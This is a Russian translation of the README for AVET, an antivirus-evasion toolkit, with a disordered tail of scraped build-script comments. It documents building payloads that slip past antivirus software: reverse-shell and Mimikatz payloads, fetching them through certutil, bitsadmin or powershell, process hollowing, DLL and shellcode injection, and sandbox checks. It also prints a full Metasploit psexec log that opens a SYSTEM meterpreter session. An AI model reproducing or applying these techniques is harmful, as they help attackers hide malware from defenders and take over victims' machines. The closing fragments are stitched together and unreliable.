Инструмент для обхода антивирусов

AVET больше не развивается из-за технических ограничений и нехватки времени.

AVET — это инструмент для обхода антивирусов, разработанный для упрощения жизни пентестерам и для экспериментов с методами обхода антивирусов, а также другими методами, используемыми вредоносным ПО. Обзор новых функций в v2.4, а также предыдущих версий можно найти в файле CHANGELOG.

Содержание

Установка
Docker
AVET простой способ
AVET обычный способ
Документация (нажмите, чтобы развернуть)
Подробнее

Некоторые возможности

при запуске .exe файла, созданного с помощью msfpayload и т.п., файл часто распознается антивирусным ПО
AVET — это инструмент для обхода антивирусов, нацеленный на машины с Windows и исполняемые файлы
теперь можно использовать различные типы входных полезных нагрузок: shellcode, exe и dll
доступно больше техник: инъекция shellcode/dll, процесс-холлоуинг и другие
гибкие методы получения полезной нагрузки, ключа дешифрования и т.д.
использование в качестве дроппера
объединение нескольких итераций AVET позволяет добавлять несколько уровней обхода, если необходимо
комбинация техник: загрузите зашифрованную полезную нагрузку через powershell, укажите ключ дешифрования через аргумент командной строки во время выполнения и, наконец, внедрите полезную нагрузку в другой процесс, выбирая из нескольких техник
базовые проверки песочницы
генерация состязательных примеров против статических детекторов на основе машинного обучения
выполнение всех доступных сборочных скриптов с помощью build_script_tester.py, также может быть интересно исследователям для создания набора «вредоносных» образцов с использованием различных методов обхода и инъекций

Важное замечание

Не все техники обходят каждый антивирусный движок. Если одна техника или сборочный скрипт не работают, попробуйте другую. Не стесняйтесь экспериментировать! В конце концов, это набор инструментов — но молотом всё же нужно владеть самому.

Установка

Инструкция по установке предназначена для Kali 64bit и tdm-gcc!

Вы можете использовать скрипт установки:```bash ./setup.sh

Это должно автоматически помочь вам начать, установив/настроив wine и установив tdm-gcc.
Вам вскоре придётся пройти через графический интерфейс установщика tdm-gcc — стандартные настройки должны подойти.
Скрипт также спросит, хотите ли вы установить зависимости AVET, которые необходимы для использования некоторых сборочных скриптов. Загруженные зависимости будут помещены в отдельные папки рядом с папкой avet.

Зависимости загрузят последние версии:
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [mimikatz](https://github.com/gentilkiwi/mimikatz)
- [DKMC](https://github.com/Mr-Un1k0d3r/DKMC)

Если по какой-либо причине вы хотите установить wine и tdm-gcc вручную:
- [Как установить tdm-gcc с помощью wine](https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/)

## Docker

Если вы не используете Kali или не хотите устанавливать Metasploit на свою систему, вы можете вместо этого использовать Docker-контейнер.
Контейнер содержит Metasploit и avet, а примеры будут созданы в вашей текущей директории.
Также можно использовать графический текстовый редактор, например gedit.

Сборка контейнера:```bash
sudo docker build -t avet:v0.1 .

Использование:```bash sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet:v0.1 /bin/bash

Для лучшего опыта рекомендуется создать алиас для этого.```bash
# In your .bash_profile, .bashrc or .bash_aliases

alias avet='sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet /bin/bash'

AVET легким путем

avet.py — это небольшая утилита на Python, предназначенная для упрощения работы с инструментом.

Она выводит список всех скриптов, находящихся в папке build. После выбора одного из них вы сможете построчно пройти по скрипту, имея возможность изменять содержимое на лету.

Последнее особенно полезно, так как вы можете каждый раз задавать новые переменные LHOST и LPORT для msfvenom при запуске скрипта сборки через fabric. Вы можете задать значения LHOST и LPORT по умолчанию в файле /build/global_connect_config.sh, которые будут использоваться, если вы их не переопределите.

Эти изменения временны, то есть любые внесённые вами правки не сохраняются в скрипте сборки на диске. Изменённая версия выполняется один раз, и ваш исполняемый файл собирается.

Вот краткий пример (нажмите, чтобы раскрыть):

``` python3 avet.py

                   .|        ,       +
         *         | |      ((             *
                   |'|       `    ._____
     +     ___    |  |   *        |.   |' .---"|
   _    .-'   '-. |  |     .--'|  ||   | _|    |
.-'|  _.|  |    ||   '-__  |   |  |    ||      |
|' | |.    |    ||       | |   |  |    ||      |

| '-' ' "" '-' '-.' '` |_ jgs~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Welcome to the avet Assistant!

0 : build_40xshikata_revhttpsunstaged_win32.sh 1 : build_50xshikata_quiet_revhttps_win32.sh 2 : build_50xshikata_revhttps_win32.sh 3 : build_asciimsf_fromcmd_revhttps_win32.sh 4 : build_asciimsf_revhttps_win32.sh 5 : build_avetenc_dynamicfromfile_revhttps_win32.sh 6 : build_avetenc_fopen_revhttps_win32.sh 7 : build_avetenc_mtrprtrxor_revhttps_win64.sh 8 : build_calcfromcmd_50xshikata_revhttps_win32.sh 9 : build_calcfrompowersh_50xshikata_revhttps_win32.sh 10 : build_checkdomain_rc4_mimikatz.sh 11 : build_cpucores_revhttps_win32.sh 12 : build_disablewindefpsh_xorfromcmd_revhttps_win64.sh 13 : build_dkmc_downloadexecshc_revhttps_win32.sh 14 : build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh 15 : build_downloadbitsadmin_revhttps_win32.sh 16 : build_downloadcertutil_revhttps_win32.sh 17 : build_downloadcurl_mtrprtrxor_revhttps_win64.sh 18 : build_downloadiexplorer_revhttps_win32.sh 19 : build_downloadpsh_revhttps_win32.sh 20 : build_downloadsocket_mtrprtrxor_revhttps_win64.sh 21 : build_downloadsocket_revhttps_win32.sh 22 : build_dynamicfromfile_revhttps_win32.sh 23 : build_fibonacci_rc4_mimikatz.sh 24 : build_fopen_mtrprtrxor_revhttps_win64.sh 25 : build_fopen_quiet_revhttps_win32.sh 26 : build_fopen_revhttps_win32.sh 27 : build_getchar_rc4_mimikatz.sh 28 : build_gethostbyname_revhttps_win32.sh 29 : build_hasvmkey_revhttps_win32.sh 30 : build_hasvmmac_revtcp_win32.sh 31 : build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh 32 : build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh 33 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh 34 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh 35 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh 36 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh 37 : build_kaspersky_fopen_shellrevtcp_win32.sh 38 : build_mimikatz_pe2shc_xorfromcmd_win64.sh 39 : build_pause_rc4_mimikatz.sh 40 : build_rc4_interactive_pwsh_mimikatz_win64.sh 41 : build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh 42 : build_rc4enc_mimikatz_win64.sh 43 : build_sleep_rc4_mimikatz.sh 44 : build_sleepbyping_rc4_mimikatz.sh 45 : build_timedfibonacci_rc4_mimikatz.sh 46 : buildsvc_20xshikata_bindtcp_win32.sh

#### static_from_here Данные статически компилируются в создаваемый исполняемый файл, извлекаются из указанного аргумента в скрипте сборки. #### dynamic_from_file Данные считываются из файла во время выполнения. #### from_command_line_hex Извлекает данные из шестнадцатеричной строки формата "11aabb22.." (из командной строки). #### from_command_line_raw Извлекает данные из аргумента командной строки. Заданная ASCII-строка интерпретируется как необработанные байтовые данные. #### download_certutil Загружает данные с указанного URI с помощью ```certutil.exe -urlcache -split -f```. Сохраняет загруженный файл на диск перед чтением данных. #### download_curl Загружает данные с помощью curl. Сохраняет загруженный файл на диск перед чтением данных. #### download_internet_explorer Загружает данные с указанного URL с помощью Internet Explorer. Сохраняет загруженный файл на диск перед чтением данных. #### download_powershell Загружает данные с указанного URI через powershell. Сохраняет загруженный файл на диск перед чтением данных. #### download_socket Загружает данные с указанного URI с помощью сокетов. Данные считываются напрямую в память, файл на диск не сохраняется. #### download_bitsadmin Загружает данные с помощью утилиты Windows BITSAdmin. Сохраняет загруженный файл на диск перед чтением данных. ### Методы выполнения полезной нагрузки Как выполнить/доставить полезную нагрузку. Методы внедрения/опустошения требуют дополнительной информации о цели внедрения, которую можно указать с помощью ```set_payload_info_source <the_info>``` (см. методы извлечения данных). #### exec_shellcode Выполняет 32-битный шелл-код с привязкой к функции C. #### exec_shellcode64 Выполняет 64-битный шелл-код с привязкой к функции C и VirtualProtect. #### exec_shellcode_ASCIIMSF Выполняет шелл-код, закодированный в ASCIIMSF, с помощью ```call eax```. #### hollowing32 Создаёт новый процесс, вырезает исходный образ и внедряет заданную полезную нагрузку в новый процесс. Полезная нагрузка — 32-битный исполняемый образ. Работает на 32-битных целях. #### hollowing64 То же, что и hollowing32, но с использованием 64-битных PE-нагрузок для 64-битных целевых процессов. #### inject_dll Внедряет DLL в целевой процесс с помощью ```CreateRemoteThread```. Внедрение работает для 32-битных нагрузок в 32-битные процессы и для 64-битных нагрузок в 64-битные процессы соответственно. #### inject_shellcode Внедряет шелл-код в целевой процесс с помощью ```CreateRemoteThread```. Внедрение работает для 32-битного шелл-кода в 32-битные процессы и для 64-битного шелл-кода в 64-битные процессы соответственно. ### Шифрование и кодирование AVET предоставляет кодировщики для каждой схемы, которые могут быть применены к полезной нагрузке до компиляции/доставки. Во время выполнения указанный декодер снова деобфусцирует полезную нагрузку во время выполнения. Вот пример RC4, где ключ дешифрования извлекается из командной строки в шестнадцатеричном формате во время выполнения:``` generate_key preset aabbccddee input/key_raw.txt encode_payload rc4 input/shellcode_raw.txt input/shellcode_enc_raw.txt input/key_raw.txt set_key_source from_command_line_hex set_decoder rc4

И на стороне metasploit:``` msf exploit(psexec) > use exploit/windows/smb/psexec msf exploit(psexec) > set EXE::custom /root/tools/ave/pwn.exe EXE::custom => /root/tools/ave/pwn.exe msf exploit(psexec) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(psexec) > set rhost 192.168.116.183 rhost => 192.168.116.183 msf exploit(psexec) > set smbuser dax smbuser => dax msf exploit(psexec) > set smbpass test123 smbpass => test123 msf exploit(psexec) > set lport 8443 lport => 8443 msf exploit(psexec) > run [*] 192.168.116.183:445 - Connecting to the server... [*] Started bind handler [*] 192.168.116.183:445 - Authenticating to 192.168.116.183:445 as user 'dax'... [*] Sending stage (957487 bytes) to 192.168.116.183 [*] 192.168.116.183:445 - Selecting native target [*] 192.168.116.183:445 - Uploading payload... [*] 192.168.116.183:445 - Using custom payload /root/tools/avepoc/a.exe, RHOST and RPORT settings will be ignored! [*] 192.168.116.183:445 - Created \mzrCIOVg.exe... [+] 192.168.116.183:445 - Service started successfully... [*] 192.168.116.183:445 - Deleting \mzrCIOVg.exe... [-] 192.168.116.183:445 - Delete of \mzrCIOVg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0) [*] Exploit completed, but no session was created. msf exploit(psexec) > [*] Meterpreter session 4 opened (192.168.116.142:33453 -> 192.168.116.183:8443) at 2017-05-27 18:47:23 +0200 msf exploit(psexec) > sessions Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 4 meterpreter x86/windows NT-AUTORIT_T\SYSTEM @ DAX-RYMZ48Z3EYO 192.168.116.142:33453 -> 192.168.116.183:8443 (192.168.116.183) msf exploit(psexec) > sessions -i 4 [*] Starting interaction with 4... meterpreter > sysinfo Computer : DAX-RYMZ48Z3EYO OS : Windows XP (Build 2600, Service Pack 3). Architecture : x86 System Language : de_DE Domain : ARBEITSGRUPPE Logged On Users : 2 Meterpreter : x86/windows

Больше о состязательных примерах, генетической оптимизации и MalConv можно прочитать здесь: - [Adversarial EXEmples: A Survey and Experimental Evaluation of Practical Attacks on Machine Learning for Windows Malware Detection](https://arxiv.org/abs/2008.07125) - [Functionality-preserving Black-box Optimization of Adversarial Windows Malware](https://arxiv.org/abs/2003.13526) - [Malware Detection by Eating a Whole EXE](https://arxiv.org/abs/1710.09435) ## Подробнее --- Основы обхода антивирусов, AVET и дополнительная информация — смотрите здесь (в основном для версии 1.3): - [https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/](https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/) - [https://govolution.wordpress.com/2017/06/11/avet-video/](https://govolution.wordpress.com/2017/06/11/avet-video/) - [https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf](https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf) - [https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf](https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf) - [https://twitter.com/DanielX4v3r](https://twitter.com/DanielX4v3r) - [https://github.com/govolution/avetosx](https://github.com/govolution/avetosx) - [https://github.com/tacticaljmp](https://github.com/tacticaljmp) - [https://github.com/Mr-Un1k0d3r/DKMC](https://github.com/Mr-Un1k0d3r/DKMC) - [https://github.com/m0n0ph1/Basic-File-Crypter](https://github.com/m0n0ph1/Basic-File-Crypter) - [https://github.com/hasherezade/pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode) - [https://github.com/hasherezade/demos/](https://github.com/hasherezade/demos/) - [https://github.com/a0rtega/pafish](https://github.com/a0rtega/pafish) - [https://danielsauder.com](https://danielsauder.com)

Популярное

avet

Инструмент для обхода антивирусов

AVET больше не развивается из-за технических ограничений и нехватки времени.

Содержание

Некоторые возможности

Важное замечание

Установка

AVET легким путем

RC4-encrypt the payload with a static, preset key.

Here, the mimikatz executable is used as payload, converted into shellcode format by pe_to_shellcode.

pe_to_shellcode is written by Hasherezade:

https://github.com/hasherezade/pe_to_shellcode

This script expects the Mimikatz executable to be at input/mimikatz.exe

and the pe_to_shellcode executable to reside in a folder parallel to avet: ../pe_to_shellcode/pe2shc.exe

enable debug output

generate key file with preset key

The decryption key is aabbccddee if it has not been changed.

You need to provide the decryption key as 2nd command line argument.

Call generated executable on target like:

$ rc4enc_mimikatz_win64.exe [your mimikatz arguments, probably 'coffee'] [decryption key]

Примеры использования

Скрипты сборки

Документация

Методы получения данных

Compiles the command 'calc.exe' statically into the executable, which will then be executed via cmd at sample startup.

Download 64-bit shellcode via powershell, and execute.

Download XOR decryption key into memory. (Server to download from is always specified via first command line argument on execution). Decode the payload.

Retrieves the tuple (target PID, dll path) from command line on execution

static_from_file

sleep

sleep for 3 seconds

проверка быстрой перемотки

Username

getchar

fopen

gethostbyname

has_vm_mac

hide_console

Количество процессов

Домен

Stops computation after 20 seconds

Helper tools

data_raw_to_c

generate_key

sh_format

AVET & metasploit psexec

Designed for use with msf psexec module!

print AVET logo

include script containing the compiler var $win32_compiler

you can edit the compiler in build/global_win32.sh

or enter $win32_compiler="mycompiler" here

import global default lhost and lport values from build/global_connect_config.sh

override connect-back settings here, if necessary

make meterpreter bind payload, encoded 20 rounds with shikata_ga_nai

import feature construction interface

add evasion techniques

generate key file

encode shellcode

array name buf is expected by static_from_file retrieval method

no command preexec

set shellcode source

convert generated key from raw to C into array "key"

set key source

set payload info source

set decoder

set shellcode binding technique

enable debug printing

compile as service

cleanup

Состязательные примеры

Практические манипуляции